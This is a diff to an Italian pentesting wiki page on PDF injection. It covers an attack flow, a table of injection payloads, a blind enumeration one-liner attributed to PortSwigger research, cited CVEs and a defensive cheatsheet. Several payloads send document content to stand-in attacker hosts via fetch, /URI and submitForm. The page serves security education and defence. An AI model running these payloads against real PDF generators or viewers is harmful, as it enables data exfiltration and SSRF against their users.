diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 72ca0786c..c6b9e9ae7 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript o rubare il contenuto del PDF.** - -Controlla il post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF.** +La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerà felicemente. +Dal 2024, una serie di report di bug-bounty hanno dimostrato che *una parentesi non scappata o una barra rovesciata è sufficiente* per l'esecuzione completa dello script. + +## TL;DR – Flusso di attacco moderno (2024) +1. Trova qualsiasi valore controllato dall'utente che finisca all'interno di una **(stringa di parentesi)**, `/URI ( … )` o campo `/JS ( … )` nel PDF generato. +2. Inietta `) ` (chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un'altra parentesi aperta per mantenere la sintassi valida. +3. Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug ciechi). +4. Il tuo payload viene eseguito nel visualizzatore PDF: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (vedi CVE-2024-4367) +* Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con `this.getPageNthWord`) + +Esempio (dirottamento del link di annotazione): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*Il primo `)` chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario **Action** che Acrobat eseguirà quando l'utente clicca sul link.* + +## Utili Primitivi di Iniezione +| Obiettivo | Frammento Payload | Note | +|-----------|-------------------|------| +| **JavaScript all'apertura** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). | +| **JavaScript sul link** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Funziona in PDFium & Acrobat se controlli un'annotazione `/Link`. | +| **Esfiltrazione di dati cieca** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Combina con `this.getPageNthWord` all'interno di JS per rubare contenuti. | +| **SSRF lato server** | Stesso di sopra ma targetizza un URL interno – ottimo quando il PDF è reso da servizi di back-office che rispettano `/URI`. | +| **Interruzione di linea per nuovi oggetti** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Se la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi. | + +## Trucco di Enumerazione Cieca +Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto all'interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietà/valore, fornendoti un dump *JSON-ish* del file. Vedi il white-paper “Portable Data **ex**Filtration” per la tecnica completa. + +## Bug nel Mondo Reale (2023-2025) +* **CVE-2024-4367** – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con un'azione `/JavaScript` creata ad hoc. +* **Bug bounty 2024-05** – Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in `/URI`; il report ha pagato $10k dopo aver dimostrato SSRF verso l'host di metadata interno utilizzando `file:///` URI. +* **CVE-2023-26155** – Iniezione di comando `node-qpdf` tramite percorso PDF non sanitizzato mostra l'importanza di eseguire l'escape di backslash e parentesi anche *prima* del layer PDF. + +## Cheatsheet Difensivo +1. **Non concatenare mai input utente raw** all'interno di stringhe o nomi `(`…`)`. Esegui l'escape di `\`, `(`, `)` come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali `<...>`. +2. Se costruisci link, preferisci `/URI (https://…)` che codifichi *completamente* l'URL; blocca gli schemi `javascript:` nei visualizzatori client. +3. Rimuovi o valida i dizionari `/OpenAction`, `/AA` (azioni aggiuntive), `/Launch`, `/SubmitForm` e `/ImportData` durante il post-processing dei PDF. +4. Sul lato server, rendi i PDF non fidati con un *convertitore headless* (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne. +5. Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono l'esecuzione di codice banale. + +## Riferimenti +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (aggiornato maggio 2024). +* Dawid Ryłko, “CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js” (apr 2024). +{{#include ../../banners/hacktricks-training.md}}